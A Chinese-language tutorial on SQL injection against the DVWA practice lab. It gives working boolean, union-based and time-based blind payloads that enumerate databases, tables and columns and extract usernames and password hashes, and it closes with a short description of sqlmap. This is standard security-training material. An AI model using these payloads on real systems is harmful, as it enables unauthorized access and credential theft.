SQL注入

1、查询数据语句

select * from users；
select user_id,first_name,last_name from users;
desc mysql.user  //查看表结构
//条件查询
select user,password,host from mysql.user where user='root'

//联合查询
select user,password from mysql.user union select user_login,user_pass from wordpress.wp_users;

//猜字段数,直到试到合适的字段数z 
select * from dvwa.users union select 1,2,3;

 information_schema
可以认为是数据库字典， 保存了MySQL的表、库的信息
select * from information_schema.TABLES limit 1G; 查看表的详细信息
*************************** 1. row ***************************
  TABLE_CATALOG: NULL
   TABLE_SCHEMA: information_schema
     TABLE_NAME: CHARACTER_SETS
     TABLE_TYPE: SYSTEM VIEW
         ENGINE: MEMORY
        VERSION: 10
     ROW_FORMAT: Fixed
     TABLE_ROWS: NULL
 AVG_ROW_LENGTH: 384
    DATA_LENGTH: 0
MAX_DATA_LENGTH: 16604160
   INDEX_LENGTH: 0
      DATA_FREE: 0
 AUTO_INCREMENT: NULL
    CREATE_TIME: NULL
    UPDATE_TIME: NULL
     CHECK_TIME: NULL
TABLE_COLLATION: utf8_general_ci
       CHECKSUM: NULL
 CREATE_OPTIONS: max_rows=43690
  TABLE_COMMENT:

2、低安全级别

输入ID1，前端会显示对应的用户名

 

 在输入框内输入user ID后，系统会自动返回ID对应的用户名，此时在数据库端实际的指令是

select first_name,last_name from dvwa.users where user_id=1;

 

 

 

 2.1基于布尔的注入

布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码。输入代码：

'or 1=1 -- '

 

 

原始语句
mysql>select first_name,last_name from dvwa.users where user_id='';

SQL注入语句解析：'or 1=1 -- '
mysql>select first_name,last_name from dvwa.users where user_id=' 'or 1=1 --' ';
说明：
第一个'用于闭合前面的条件
or 1=1为真的条件
--将注释后面的所有语句

2.2基于union注入

union语句用于联合前面的select查询语句，合并查询更多信息；一般通过错误和布尔注入确认注入点之后，便开始通过union语句来获取有效信息

//猜测数据列数
' union select 1 -- '
' union select 1,2 -- '
' union select 1,2,3 -- '
SQL注入语句解析
mysql>select first_name,last_name from dvwa.users where user_id='' union select 1 -- ''

mysql>select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- ''

//获取当前数据库及用户信息
 ' union select version(),database() -- '
' union select user(),database() -- '
mysql>select first_name,last_name from dvwa.users where user_id='' union select version(),database() --'';
14 mysql>select first_name,last_name from dvwa.users where user_id='' union select user(),database() --'';
说明：
version() 获取数据库版本信息
database() 获得当前数据库名
user()    获得当前用户名

//查询数据库中所有表
information_schema数据库是MySQL自带的，它提供了访问数据库元数据的方式；
元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息

 SQL注入语句解析

//查询所有表
1 mysql>select * from information_schema.TABLESG

//查询所有库名
 ' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- '        //前端注入SQL语句
mysql>select first_name,last_name from dvwa.users where user_id =' ' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- '';    //后端数据库查询语句

 

 

 

 // 查看所在库中所有表名
' union select table_name,1 from INFORMATION_SCHEMA.tables -- '
mysql>select first_name,last_name from dvwa.users where user_id='' union select table_name,1 from INFORMATION_SCHEMA.tables -- ' '

//同时查询表名及对应库名
' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- '
mysql>select first_name,last_name from dvwa.users where user_id =' ' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- ' '

  

//原始语句，$id为前端输入的id，如1，2，3
mysql>select first_name,last_name from dvwa.users where user_id='$id'

//查询数据表,查询字段名
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='users' -- '
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- '
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- '

上述注入在后端数据库查询语句如下

mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='users' -- ' '
mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- ' '
mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- ' '

//查询数据列
'union select NULL,user from users -- '
'union select NULL,password from users -- '
'union select user,password from users -- '
'union select NULL,GRANTEE from USER_PRIVILEGES -- '
'union select password,concat(first_name,' ',last_name,' ' ,user) from users -- '

 

2.3 基于时间的盲注

  有些数据库对错误信息做了安全配置，使得无法通过以上方式探测到注入点，此时，通过设置sleep语句来探测注入点。输入1为真语句，后面附加' and sleep(5)-- '，延迟5秒钟返回，说明后面的语句是可以执行的

  SQL注入语句解析

mysql>select first_name,last_name from dvwa.users where user_id ='1' and sleep(5) -- '

2.4 sqlmap自动化注入 

SQL注入比较好用的工具，首推开源工具sqlmap。sqlmap是国内外著名的安全稳定性测试工具，可以用来进行自动化检测，利用SQL注入漏洞，获取数据库服务器的权限。它具有功能强大的检测引擎，针对各种不同类型数据库的安全稳定性测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

sqlmap支持MySQL，Oracle，postgreSQL，Microsoft SQL server，Microsoft access，IBM DB2，SQLite，Firebird，Sybase和SAP MaxDB等数据库的各种安全漏洞检测。